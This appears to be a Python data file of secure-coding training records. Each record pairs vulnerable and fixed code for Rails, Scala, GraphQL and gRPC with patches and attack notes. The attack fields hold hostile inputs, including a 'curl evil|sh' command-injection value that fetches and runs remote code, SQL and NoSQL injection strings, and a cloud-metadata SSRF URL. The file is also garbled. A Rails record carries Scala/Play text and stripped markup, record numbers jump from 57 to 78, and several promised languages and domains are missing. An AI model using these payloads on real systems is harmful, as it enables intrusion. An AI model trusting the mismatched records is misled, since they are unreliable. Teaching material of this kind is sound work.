#!/usr/bin/env python3
"""SecureCodePairs v1.1.0 extension records (SCP-000051+).
Additional languages: Ruby, C, C++, Scala.
New domains: fintech, FHIR/healthcare, Kubernetes, IoT.
New paradigms: GraphQL, gRPC.
Every record is hand-authored and distinct from the base 50.
"""
from typing import List, Dict
RECORDS_EXT: List[Dict] = [
# ================================================================== RUBY / RAILS ==================================================================
{
"id": "SCP-000051",
"language": "Ruby",
"framework": "Rails",
"title": "SQL injection in Rails find_by with string interpolation",
"description": "A Rails controller builds a LIKE condition by interpolating params into a raw SQL fragment.",
"owasp": "A03:2021 - Injection",
"owasp_api": "API3:2023 - Broken Object Property Level Authorization",
"owasp_llm": "",
"cwe": "CWE-89",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"def search\n"
" term = params[:q]\n"
" # Vulnerable: raw SQL interpolation\n"
" @users = User.where(\"name LIKE '%#{term}%'\")\n"
"end\n"
),
"secure_code": (
"def search\n"
" term = params[:q].to_s\n"
" # Secure: bound parameter\n"
" @users = User.where('name LIKE ?', \"%#{term}%\")\n"
"end\n"
),
"patch": (
"--- a/app/controllers/users_controller.rb\n"
"+++ b/app/controllers/users_controller.rb\n"
"@@ -2,4 +2,4 @@\n"
"- @users = User.where(\"name LIKE '%#{term}%'\")\n"
"+ @users = User.where('name LIKE ?', \"%#{term}%\")\n"
),
"root_cause": "User input is interpolated into a SQL fragment instead of bound as a parameter.",
"attack": "q=%' UNION SELECT email,password FROM users -- dumps credentials.",
"impact": "Confidentiality loss: arbitrary data disclosure.",
"fix": "Use ActiveRecord bound parameters or named placeholders for all user input.",
"guideline": "Never interpolate into SQL fragments; bind parameters via ? or named placeholders.",
"tags": ["sqli", "rails", "ruby", "activerecord"],
"metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000052",
"language": "Ruby",
"framework": "Rails",
"title": "Mass assignment via update_attributes",
"description": "A Rails action updates a model from the whole params hash, allowing role escalation.",
"owasp": "A04:2021 - Insecure Design",
"owasp_api": "API3:2023 - Broken Object Property Level Authorization",
"owasp_llm": "",
"cwe": "CWE-915",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"def update\n"
" @user = User.find(params[:id])\n"
" # Vulnerable: mass assignment of all params\n"
" @user.update_attributes(params[:user])\n"
"end\n"
),
"secure_code": (
"def update\n"
" @user = User.find(params[:id])\n"
" # Secure: permit only intended fields\n"
" @user.update(user_params)\n"
"end\n\n"
"private\n\n"
"def user_params\n"
" params.require(:user).permit(:display_name, :bio, :avatar_url)\n"
"end\n"
),
"patch": (
"--- a/app/controllers/users_controller.rb\n"
"+++ b/app/controllers/users_controller.rb\n"
"@@ -3,4 +3,10 @@\n"
"- @user.update_attributes(params[:user])\n"
"+ @user.update(user_params)\n"
"+private\n"
"+def user_params\n"
"+ params.require(:user).permit(:display_name, :bio, :avatar_url)\n"
"+end\n"
),
"root_cause": "All request fields are bound to the model, including admin-only attributes like role.",
"attack": "POST user[role]=admin escalates privileges.",
"impact": "Privilege escalation.",
"fix": "Use strong parameters to allowlist assignable fields.",
"guideline": "Always use strong parameters; never update from raw params.",
"tags": ["mass-assignment", "rails", "ruby", "auth"],
"metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": True},
},
{
"id": "SCP-000053",
"language": "Ruby",
"framework": "Rails",
"title": "Command injection via backticks",
"description": "A Rails task runs a shell command using backticks with interpolated user input.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-78",
"mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
"severity": "Critical",
"difficulty": "Beginner",
"vulnerable_code": (
"def export\n"
" name = params[:name]\n"
" # Vulnerable: backticks with interpolation\n"
" output = `./export.sh #{name}`\n"
" render plain: output\n"
"end\n"
),
"secure_code": (
"def export\n"
" name = params[:name].to_s\n"
" # Secure: validated, no shell\n"
" unless name.match?(/\\A[\\w.-]+\\z/)\n"
" return head :bad_request\n"
" end\n"
" output = system('./export.sh', name)\n"
" render plain: output.to_s\n"
"end\n"
),
"patch": (
"--- a/app/controllers/reports_controller.rb\n"
"+++ b/app/controllers/reports_controller.rb\n"
"@@ -2,5 +2,8 @@\n"
"- output = `./export.sh #{name}`\n"
"+ unless name.match?(/\\A[\\w.-]+\\z/)\n"
"+ return head :bad_request\n"
"+ end\n"
"+ output = system('./export.sh', name)\n"
),
"root_cause": "User input is interpolated into a shell command executed via backticks.",
"attack": "name=; curl evil|sh executes attacker commands on the host.",
"impact": "Remote code execution.",
"fix": "Avoid shells; pass arguments as an array and validate input.",
"guideline": "Never use backticks/system with interpolated input; validate and use argument arrays.",
"tags": ["command-injection", "rails", "ruby", "rce"],
"metadata": {"domain": "Background workers", "input_source": "query_param", "auth_required": True},
},
{
"id": "SCP-000054",
"language": "Ruby",
"framework": "Rails",
"title": "Insecure deserialization with Marshal",
"description": "A Rails endpoint loads untrusted data with Marshal.load, enabling RCE.",
"owasp": "A08:2021 - Software and Data Integrity Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-502",
"mitre_attack": "T1059 - Command and Scripting Interpreter",
"severity": "Critical",
"difficulty": "Advanced",
"vulnerable_code": (
"def load_state\n"
" data = Base64.decode64(params[:state])\n"
" # Vulnerable: Marshal on untrusted data\n"
" state = Marshal.load(data)\n"
" render json: state\n"
"end\n"
),
"secure_code": (
"def load_state\n"
" # Secure: parse only structured JSON\n"
" state = JSON.parse(params[:state])\n"
" render json: state.slice('theme', 'lang')\n"
"rescue JSON::ParserError\n"
" head :bad_request\n"
"end\n"
),
"patch": (
"--- a/app/controllers/state_controller.rb\n"
"+++ b/app/controllers/state_controller.rb\n"
"@@ -2,5 +2,7 @@\n"
"- state = Marshal.load(data)\n"
"+ state = JSON.parse(params[:state])\n"
"+ render json: state.slice('theme', 'lang')\n"
"+rescue JSON::ParserError\n"
"+ head :bad_request\n"
),
"root_cause": "Marshal executes arbitrary objects during load; untrusted input is unsafe.",
"attack": "Attacker sends a marshalled gadget chain that runs code on load.",
"impact": "Remote code execution.",
"fix": "Replace Marshal with JSON and validate the resulting structure.",
"guideline": "Never unmarshal untrusted data; use JSON + schema validation.",
"tags": ["deserialization", "rails", "ruby", "rce"],
"metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": False},
},
{
"id": "SCP-000055",
"language": "Ruby",
"framework": "Rails",
"title": "Weak random token with rand",
"description": "A Rails password-reset token is generated with Kernel#rand, which is predictable.",
"owasp": "A02:2021 - Cryptographic Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-338",
"mitre_attack": "T1600 - Weaken Encryption",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"def issue_token(user)\n"
" # Vulnerable: predictable PRNG\n"
" token = rand(36**16).to_s(36)\n"
" user.update(reset_token: token)\n"
"end\n"
),
"secure_code": (
"def issue_token(user)\n"
" # Secure: CSPRNG\n"
" token = SecureRandom.urlsafe_base64(32)\n"
" user.update(reset_token_digest: Digest::SHA256.hexdigest(token))\n"
" token\n"
"end\n"
),
"patch": (
"--- a/app/services/token_service.rb\n"
"+++ b/app/services/token_service.rb\n"
"@@ -1,5 +1,7 @@\n"
"- token = rand(36**16).to_s(36)\n"
"- user.update(reset_token: token)\n"
"+ token = SecureRandom.urlsafe_base64(32)\n"
"+ user.update(reset_token_digest: Digest::SHA256.hexdigest(token))\n"
"+ token\n"
),
"root_cause": "A non-cryptographic PRNG is used for security tokens, making them guessable.",
"attack": "Attacker predicts the next reset token and takes over accounts.",
"impact": "Account takeover.",
"fix": "Use SecureRandom (CSPRNG) and store only a hash of the token.",
"guideline": "Generate tokens with SecureRandom; never store raw tokens.",
"tags": ["crypto", "rails", "ruby", "tokens"],
"metadata": {"domain": "Authentication systems", "input_source": "server", "auth_required": False},
},
{
"id": "SCP-000056",
"language": "Ruby",
"framework": "Rails",
"title": "IDOR on document download",
"description": "A Rails controller loads a document purely by id without ownership check.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API1:2023 - Broken Object Level Authorization",
"owasp_llm": "",
"cwe": "CWE-639",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"def show\n"
" # Vulnerable: no tenant/owner scope\n"
" @doc = Document.find(params[:id])\n"
"end\n"
),
"secure_code": (
"def show\n"
" # Secure: scope to current user\n"
" @doc = current_user.documents.find(params[:id])\n"
"rescue ActiveRecord::RecordNotFound\n"
" head :not_found\n"
"end\n"
),
"patch": (
"--- a/app/controllers/documents_controller.rb\n"
"+++ b/app/controllers/documents_controller.rb\n"
"@@ -1,4 +1,6 @@\n"
"- @doc = Document.find(params[:id])\n"
"+ @doc = current_user.documents.find(params[:id])\n"
"+rescue ActiveRecord::RecordNotFound\n"
"+ head :not_found\n"
),
"root_cause": "Object lookup is keyed only by attacker-controllable id, not by ownership.",
"attack": "User changes id to access other tenants' documents.",
"impact": "Cross-tenant data disclosure.",
"fix": "Scope queries to the authenticated principal/tenant.",
"guideline": "Enforce object-level authorization; scope every lookup by owner/tenant.",
"tags": ["idor", "rails", "ruby", "access-control"],
"metadata": {"domain": "E-commerce", "input_source": "path_param", "auth_required": True},
},
{
"id": "SCP-000057",
"language": "Ruby",
"framework": "Rails",
"title": "Reflected XSS via raw HTML",
"description": "A Rails view renders a param inside html_safe, bypassing auto-escaping.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-79",
"mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript",
"severity": "Medium",
"difficulty": "Beginner",
"vulnerable_code": (
"\n"
"
<%= params[:name].html_safe %>
\n"
),
"secure_code": (
"\n"
"<%= h(params[:name]) %>
\n"
),
"patch": (
"--- a/app/views/greeting.html.erb\n"
"+++ b/app/views/greeting.html.erb\n"
"@@ -1,2 +1,2 @@\n"
"-<%= params[:name].html_safe %>
\n"
"+<%= h(params[:name]) %>
\n"
),
"root_cause": "html_safe marks untrusted data as safe, disabling Rails auto-escaping.",
"attack": "name= executes if ever passed through Html().",
"impact": "XSS if misused; here the fix shows the correct escaped usage.",
"fix": "Use default @ escaping; reserve @Html for vetted, sanitized markup only.",
"guideline": "Default to escaped output in templates; avoid Html() on user input.",
"tags": ["xss", "scala", "play", "template"],
"metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000078",
"language": "Scala",
"framework": "Akka HTTP",
"title": "SSRF in Akka HTTP client call",
"description": "An Akka HTTP service fetches an arbitrary user-supplied URL without allowlisting.",
"owasp": "A10:2021 - Server-Side Request Forgery",
"owasp_api": "API7:2023 - Server Side Request Forgery",
"owasp_llm": "",
"cwe": "CWE-918",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"def proxy(url: String) = Action.async {\n"
" // Vulnerable: arbitrary URL\n"
" Http().singleRequest(HttpRequest(uri = url))\n"
"}\n"
),
"secure_code": (
"def proxy(url: String) = Action.async {\n"
" // Secure: allowlist host + https only\n"
" val allowed = Set(\"api.trusted.example\")\n"
" val u = Uri(url)\n"
" if (u.scheme != \"https\" || !allowed.contains(u.authority.host.toString)) {\n"
" Future.successful(Forbidden)\n"
" } else Http().singleRequest(HttpRequest(uri = u))\n"
"}\n"
),
"patch": (
"--- a/ProxyController.scala\n"
"+++ b/ProxyController.scala\n"
"@@ -2,4 +2,8 @@\n"
"- Http().singleRequest(HttpRequest(uri = url))\n"
"+ val allowed = Set(\"api.trusted.example\")\n"
"+ val u = Uri(url)\n"
"+ if (u.scheme != \"https\" || !allowed.contains(u.authority.host.toString))\n"
"+ Future.successful(Forbidden)\n"
"+ else Http().singleRequest(HttpRequest(uri = u))\n"
),
"root_cause": "Outbound requests follow attacker-controlled URLs with no host allowlist/egress control.",
"attack": "url=http://169.254.169.254/ reads cloud metadata credentials.",
"impact": "Internal network access, credential theft.",
"fix": "Allowlist destinations, enforce HTTPS, block internal ranges.",
"guideline": "Validate outbound URLs; block internal/metadata endpoints.",
"tags": ["ssrf", "scala", "akka", "cloud"],
"metadata": {"domain": "Microservices", "input_source": "query_param", "auth_required": False},
},
# ================================================================== GRAPHQL ==================================================================
{
"id": "SCP-000079",
"language": "JavaScript",
"framework": "GraphQL",
"title": "GraphQL introspection enabled in production",
"description": "A GraphQL server keeps introspection on in production, leaking the full schema.",
"owasp": "A05:2021 - Security Misconfiguration",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-215",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "Low",
"difficulty": "Beginner",
"vulnerable_code": (
"const server = new ApolloServer({ typeDefs, resolvers,\n"
" introspection: true }); // Vulnerable: on in prod\n"
),
"secure_code": (
"const server = new ApolloServer({ typeDefs, resolvers,\n"
" introspection: process.env.NODE_ENV !== 'production',\n"
" csrfPrevention: true });\n"
),
"patch": (
"--- a/graphql/server.js\n"
"+++ b/graphql/server.js\n"
"@@ -1,3 +1,4 @@\n"
"- introspection: true });\n"
"+ introspection: process.env.NODE_ENV !== 'production',\n"
"+ csrfPrevention: true });\n"
),
"root_cause": "Introspection is not disabled in production, exposing the schema to attackers.",
"attack": "Query __schema to map every type/field and find unprotected ones.",
"impact": "Reconnaissance accelerating attacks.",
"fix": "Disable introspection in production; enable CSRF prevention.",
"guideline": "Gate introspection to non-prod; enable CSRF prevention.",
"tags": ["graphql", "introspection", "javascript", "config"],
"metadata": {"domain": "REST API", "input_source": "schema", "auth_required": False},
},
{
"id": "SCP-000080",
"language": "JavaScript",
"framework": "GraphQL",
"title": "Broken object level auth in GraphQL resolver",
"description": "A GraphQL resolver returns a user by id without checking the caller owns it.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API1:2023 - Broken Object Level Authorization",
"owasp_llm": "",
"cwe": "CWE-639",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"const resolvers = {\n"
" Query: {\n"
" user: (_, { id }) => db.users.find({ id }), // Vulnerable: no owner check\n"
" }\n"
"};\n"
),
"secure_code": (
"const resolvers = {\n"
" Query: {\n"
" user: (_, { id }, ctx) => {\n"
" // Secure: scope to authenticated user\n"
" if (id !== ctx.user.id && !ctx.user.isAdmin)\n"
" throw new ForbiddenError('no access');\n"
" return db.users.find({ id });\n"
" }\n"
" }\n"
"};\n"
),
"patch": (
"--- a/graphql/resolvers.js\n"
"+++ b/graphql/resolvers.js\n"
"@@ -2,4 +2,8 @@\n"
"- user: (_, { id }) => db.users.find({ id }),\n"
"+ user: (_, { id }, ctx) => {\n"
"+ if (id !== ctx.user.id && !ctx.user.isAdmin)\n"
"+ throw new ForbiddenError('no access');\n"
"+ return db.users.find({ id });\n"
"+ }\n"
),
"root_cause": "The resolver trusts the requested id without verifying caller ownership/role.",
"attack": "Caller requests other users' ids to scrape PII.",
"impact": "Cross-user data disclosure.",
"fix": "Enforce object-level authorization in every resolver using the auth context.",
"guideline": "Authorize in resolvers by owner/role from the auth context.",
"tags": ["idor", "graphql", "javascript", "access-control"],
"metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": True},
},
{
"id": "SCP-000081",
"language": "Python",
"framework": "GraphQL",
"title": "GraphQL NoSQL injection via query arg",
"description": "A Graphene resolver passes a raw query argument into a Mongo filter.",
"owasp": "A03:2021 - Injection",
"owasp_api": "API3:2023 - Broken Object Property Level Authorization",
"owasp_llm": "",
"cwe": "CWE-943",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"class Users(graphene.ObjectType):\n"
" users = graphene.List(UserType, filt=graphene.JSONString())\n"
" def resolve_users(self, info, filt):\n"
" # Vulnerable: raw JSON into Mongo query\n"
" return list(db.users.find(json.loads(filt)))\n"
),
"secure_code": (
"class Users(graphene.ObjectType):\n"
" users = graphene.List(UserType, name=graphene.String())\n"
" def resolve_users(self, info, name=None):\n"
" # Secure: fixed field, escaped value\n"
" q = {'name': str(name)} if name else {}\n"
" return list(db.users.find(q))\n"
),
"patch": (
"--- a/graphql/schema.py\n"
"+++ b/graphql/schema.py\n"
"@@ -2,6 +2,7 @@\n"
"- return list(db.users.find(json.loads(filt)))\n"
"+ q = {'name': str(name)} if name else {}\n"
"+ return list(db.users.find(q))\n"
),
"root_cause": "Arbitrary JSON filter object from the client is used as a Mongo query.",
"attack": "filt={\"$where\":\"this.role=='admin'\"} escalates or bypasses.",
"impact": "Data disclosure / auth bypass.",
"fix": "Expose only fixed, validated filter fields; reject operators.",
"guideline": "Never pass raw client JSON as a DB filter; validate fields.",
"tags": ["nosql", "graphql", "python", "injection"],
"metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": False},
},
{
"id": "SCP-000082",
"language": "JavaScript",
"framework": "GraphQL",
"title": "GraphQL batching abuse for brute force",
"description": "A GraphQL endpoint accepts batched requests with no rate limit, defeating lockout.",
"owasp": "A07:2021 - Identification and Authentication Failures",
"owasp_api": "API4:2023 - Unrestricted Resource Consumption",
"owasp_llm": "",
"cwe": "CWE-307",
"mitre_attack": "T1110 - Brute Force",
"severity": "Medium",
"difficulty": "Intermediate",
"vulnerable_code": (
"// accepts [{query: login}, ...] in one HTTP call\n"
"app.post('/graphql', (req, res) => {\n"
" const batch = Array.isArray(req.body) ? req.body : [req.body];\n"
" // Vulnerable: no per-batch rate limit\n"
" Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n"
"});\n"
),
"secure_code": (
"const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n"
"app.post('/graphql', limiter, (req, res) => {\n"
" const batch = Array.isArray(req.body) ? req.body : [req.body];\n"
" if (batch.length > 5) return res.status(413).end(); // Secure: cap batch\n"
" Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n"
"});\n"
),
"patch": (
"--- a/graphql/server.js\n"
"+++ b/graphql/server.js\n"
"@@ -1,5 +1,7 @@\n"
"+const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n"
"+app.post('/graphql', limiter, (req, res) => {\n"
"+ if (batch.length > 5) return res.status(413).end();\n"
),
"root_cause": "Batched queries let an attacker try many credentials in a single request, bypassing per-request limits.",
"attack": "Send 1000 login mutations in one batch to brute force passwords.",
"impact": "Credential brute force / stuffing.",
"fix": "Limit batch size and apply per-IP/per-account rate limiting.",
"guideline": "Cap GraphQL batch size; rate limit auth mutations.",
"tags": ["rate-limiting", "graphql", "javascript", "auth"],
"metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": False},
},
# ================================================================== gRPC ==================================================================
{
"id": "SCP-000083",
"language": "Go",
"framework": "gRPC",
"title": "Missing auth on gRPC method",
"description": "A gRPC handler exposes a destructive method without checking the incoming context credentials.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API2:2023 - Broken Authentication",
"owasp_llm": "",
"cwe": "CWE-306",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "Critical",
"difficulty": "Intermediate",
"vulnerable_code": (
"func (s *Server) DeleteUser(ctx context.Context, req *pb.Id) (*pb.Empty, error) {\n"
" // Vulnerable: no auth from ctx\n"
" return &pb.Empty{}, s.repo.Delete(req.Id)\n"
"}\n"
),
"secure_code": (
"func (s *Server) DeleteUser(ctx context.Context, req *pb.Id) (*pb.Empty, error) {\n"
" // Secure: require admin claim from ctx\n"
" claims, ok := ctx.Value(claimsKey).(*Claims)\n"
" if !ok || !claims.IsAdmin {\n"
" return nil, status.Error(codes.PermissionDenied, \"forbidden\")\n"
" }\n"
" return &pb.Empty{}, s.repo.Delete(req.Id)\n"
"}\n"
),
"patch": (
"--- a/server.go\n"
"+++ b/server.go\n"
"@@ -1,4 +1,9 @@\n"
"- return &pb.Empty{}, s.repo.Delete(req.Id)\n"
"+ claims, ok := ctx.Value(claimsKey).(*Claims)\n"
"+ if !ok || !claims.IsAdmin {\n"
"+ return nil, status.Error(codes.PermissionDenied, \"forbidden\")\n"
"+ }\n"
"+ return &pb.Empty{}, s.repo.Delete(req.Id)\n"
),
"root_cause": "The gRPC method does not inspect the auth context, so any caller can delete users.",
"attack": "Unauthenticated client calls DeleteUser repeatedly to wipe accounts.",
"impact": "Data loss, privilege escalation.",
"fix": "Enforce authN/Z in interceptors or per-method using the context claims.",
"guideline": "Authorize every gRPC method via interceptor/context claims.",
"tags": ["authorization", "grpc", "go", "broken-access-control"],
"metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": True},
},
{
"id": "SCP-000084",
"language": "Go",
"framework": "gRPC",
"title": "Unbounded gRPC message size (DoS)",
"description": "A gRPC server accepts arbitrarily large messages with no MaxRecvMsgSize limit.",
"owasp": "A04:2021 - Insecure Design",
"owasp_api": "API4:2023 - Unrestricted Resource Consumption",
"owasp_llm": "",
"cwe": "CWE-770",
"mitre_attack": "T1499 - Endpoint Denial of Service",
"severity": "Medium",
"difficulty": "Intermediate",
"vulnerable_code": (
"s := grpc.NewServer() // Vulnerable: default 4MB; raised nowhere, but no limit set\n"
"pb.RegisterSvcServer(s, &Server{})\n"
),
"secure_code": (
"s := grpc.NewServer(\n"
" grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n"
" grpc.MaxConcurrentStreams(100))\n"
"pb.RegisterSvcServer(s, &Server{})\n"
),
"patch": (
"--- a/server.go\n"
"+++ b/server.go\n"
"@@ -1,3 +1,5 @@\n"
"-s := grpc.NewServer()\n"
"+s := grpc.NewServer(\n"
"+ grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n"
"+ grpc.MaxConcurrentStreams(100))\n"
),
"root_cause": "No explicit upper bound on inbound message size or concurrency invites memory exhaustion.",
"attack": "Client streams huge payloads to exhaust server memory.",
"impact": "Denial of service.",
"fix": "Set MaxRecvMsgSize and MaxConcurrentStreams explicitly.",
"guideline": "Bound gRPC message size and stream concurrency.",
"tags": ["dos", "grpc", "go", "resource-exhaustion"],
"metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": False},
},
{
"id": "SCP-000085",
"language": "Python",
"framework": "gRPC",
"title": "Plaintext gRPC without TLS",
"description": "A gRPC server starts without credentials, sending traffic in cleartext.",
"owasp": "A02:2021 - Cryptographic Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-319",
"mitre_attack": "T1557 - Adversary-in-the-Middle",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"server = grpc.server(futures.ThreadPoolExecutor())\n"
"# Vulnerable: insecure, no credentials\n"
"add_svc_pb2_grpc.add_SvcServicer_to_server(Svc(), server)\n"
"server.add_insecure_port('[::]:50051')\n"
"server.start()\n"
),
"secure_code": (
"creds = grpc.ssl_server_credentials((_read_key(), _read_cert()))\n"
"server = grpc.server(futures.ThreadPoolExecutor())\n"
"add_svc_pb2_grpc.add_SvcServicer_to_server(Svc(), server)\n"
"# Secure: mTLS\n"
"server.add_secure_port('[::]:50051', creds)\n"
"server.start()\n"
),
"patch": (
"--- a/grpc_server.py\n"
"+++ b/grpc_server.py\n"
"@@ -1,5 +1,6 @@\n"
"+creds = grpc.ssl_server_credentials((_read_key(), _read_cert()))\n"
" server = grpc.server(futures.ThreadPoolExecutor())\n"
"-server.add_insecure_port('[::]:50051')\n"
"+server.add_secure_port('[::]:50051', creds)\n"
),
"root_cause": "The server uses insecure credentials, exposing RPCs (and tokens) in cleartext.",
"attack": "On-path attacker reads or modifies RPC payloads including auth tokens.",
"impact": "MITM, credential/data interception.",
"fix": "Use TLS (preferably mTLS) for all gRPC channels.",
"guideline": "Never run gRPC insecurely in production; use TLS/mTLS.",
"tags": ["tls", "grpc", "python", "mitm"],
"metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": True},
},
{
"id": "SCP-000086",
"language": "Go",
"framework": "gRPC",
"title": "SQL injection in gRPC handler",
"description": "A gRPC method builds a SQL string by interpolating a request field.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-89",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"func (s *Server) Find(ctx context.Context, req *pb.Q) (*pb.Rows, error) {\n"
" // Vulnerable: string concatenation\n"
" q := \"SELECT * FROM t WHERE name = '\" + req.Name + \"'\"\n"
" rows, _ := s.db.Query(q)\n"
" return rows, nil\n"
"}\n"
),
"secure_code": (
"func (s *Server) Find(ctx context.Context, req *pb.Q) (*pb.Rows, error) {\n"
" // Secure: parameter binding\n"
" rows, err := s.db.Query(\"SELECT * FROM t WHERE name = $1\", req.Name)\n"
" if err != nil { return nil, status.Error(codes.Internal, err.Error()) }\n"
" return rows, nil\n"
"}\n"
),
"patch": (
"--- a/server.go\n"
"+++ b/server.go\n"
"@@ -2,5 +2,6 @@\n"
"- q := \"SELECT * FROM t WHERE name = '\" + req.Name + \"'\"\n"
"- rows, _ := s.db.Query(q)\n"
"+ rows, err := s.db.Query(\"SELECT * FROM t WHERE name = $1\", req.Name)\n"
"+ if err != nil { return nil, status.Error(codes.Internal, err.Error()) }\n"
),
"root_cause": "User-controlled field concatenated into SQL instead of bound parameter.",
"attack": "Name=' OR '1'='1 dumps all rows.",
"impact": "Data disclosure.",
"fix": "Use parameterized queries in gRPC handlers too.",
"guideline": "Parameterize SQL everywhere, including RPC handlers.",
"tags": ["sqli", "grpc", "go", "injection"],
"metadata": {"domain": "Banking", "input_source": "rpc", "auth_required": False},
},
]